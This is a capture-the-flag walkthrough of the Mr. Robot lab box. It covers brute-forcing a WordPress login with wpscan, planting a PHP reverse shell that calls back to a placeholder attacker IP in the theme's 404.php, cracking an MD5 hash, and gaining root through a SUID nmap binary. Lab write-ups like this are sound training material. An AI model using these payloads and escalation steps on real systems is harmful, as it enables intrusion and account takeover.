Mr. Robot CTF — Trent Barber

Objective

Find three hidden keys planted across the box, themed around the Mr. Robot TV series.

1. Initial Recon

Scanned the target and found HTTP, HTTPS, and SSH ports. Browsing to the site revealed a generic-looking landing page.

Checked robots.txt:

User-agent: *
fsocity.dic
key-1-of-3.txt

This immediately handed over two things:

Key #1 — read directly from key-1-of-3.txt.
fsocity.dic — a large custom wordlist, clearly meant to be used later.

2. Finding the Login Page

Browsing further on the site led to a WordPress login page (wp-login.php), running WordPress 4.3.1.

3. The "Fishy" Wordlist

Downloaded fsocity.dic:

wget http://<target_ip>/fsocity.dic

At 858,160 lines, running a brute-force directly against it would have taken over an hour. A hint suggested something was "fishy" about the wordlist — deduplicating it revealed why:

sort fsocity.dic | uniq > fsocity_clean.dic
wc -l fsocity_clean.dic

The cleaned version dropped to 11,451 unique lines — a ~98.7% duplication rate. The list was bloated with near-total redundancy, and using the deduplicated version cut brute-force time from over an hour to just minutes.

4. Finding the Username

Searching the cleaned wordlist confirmed elliot (the show's protagonist) was a valid, present entry — a strong signal it was the correct username to use.

grep -i "elliot" fsocity_clean.dic

5. Brute-Forcing the Login

Ran wpscan's password brute-force against the WordPress login using the cleaned wordlist:

wpscan --url http://<target_ip> -U elliot -P fsocity_clean.dic

This succeeded and returned valid credentials for the elliot account — logging into WordPress confirmed full Administrator access, including the Theme and Plugin Editor.

6. Getting a Shell via the Theme Editor

With admin access to Appearance → Editor, edited the active theme's 404.php template, replacing its contents with a PHP reverse shell payload:

<?php
$sock = fsockopen("<attacker_ip>", 4444);
$proc = proc_open('/bin/sh -i', array(0=>$sock, 1=>$sock, 2=>$sock), $pipes);

Set up a listener beforehand:

nc -lvnp 4444

Saved the file, then visited a non-existent URL on the site to trigger the 404 template and execute the payload:

http://<target_ip>/thispagedoesnotexist

Received a shell as daemon.

7. Finding the Password Hash

Upgraded to a proper TTY:

python3 -c 'import pty; pty.spawn("/bin/bash")'

Located a file containing an MD5 hash tied to a robot user account (found alongside key-2-of-3.txt, which wasn't readable as daemon):

66e3d50482fb2b467642a858af7574ee

8. Cracking the Hash

Tried the custom wordlist first with hashcat, but it exhausted with no match:

hashcat -m 0 -a 0 hash.txt fsocity_clean.dic

Switched to rockyou.txt, which cracked it successfully:

hashcat -m 0 -a 0 hash.txt /usr/share/wordlists/rockyou.txt

Result:

66e3d50482fb2b467642a858af7574ee : abcdefghijklmnopqrstuvwxyz

9. Pivoting to the `robot` User

su robot

Password: abcdefghijklmnopqrstuvwxyz

Confirmed access and retrieved Key #2:

cat /home/robot/key-2-of-3.txt

10. Privilege Escalation

Checked for sudo rights — none available for robot:

sudo -l

Checked for SUID binaries instead:

find / -perm -4000 -type f 2>/dev/null

Found nmap with the SUID bit set — an older nmap binary supports an interactive mode that can be abused for privilege escalation when SUID.

Exploited it:

nmap --interactive

Then inside the interactive shell:

!sh

This spawned a root-owned shell.

11. Final Key

Confirmed root access and retrieved the final key:

whoami
cat /root/key-3-of-3.txt

Key Takeaways

robots.txt can hand over entire attack resources directly (wordlists, flags) — always check it first.
Never trust a wordlist's raw size — dedupe before brute-forcing (sort | uniq); a bloated list with near-total duplication can turn a 5-minute crack into an hour-long one.
WordPress's built-in Theme/Plugin Editor is a direct code-execution path for any admin-level account — editing a template file (like 404.php) to include a PHP reverse shell is a fast, reliable way to get a shell once you have admin credentials.
Not every wordlist will crack every hash — when a targeted/custom list (like fsocity.dic) fails, fall back to broad, well-known lists like rockyou.txt.
SUID binaries are a top privilege escalation check — find / -perm -4000 should be a standard step on every box. Older versions of common tools like nmap have interactive/scripting modes that can be abused for a root shell when SUID is set (a classic GTFOBins technique).
Chaining trust across accounts (daemon → robot → root) via reused credentials, hash cracking, and misconfigured permissions is a very common CTF/real-world privilege escalation pattern.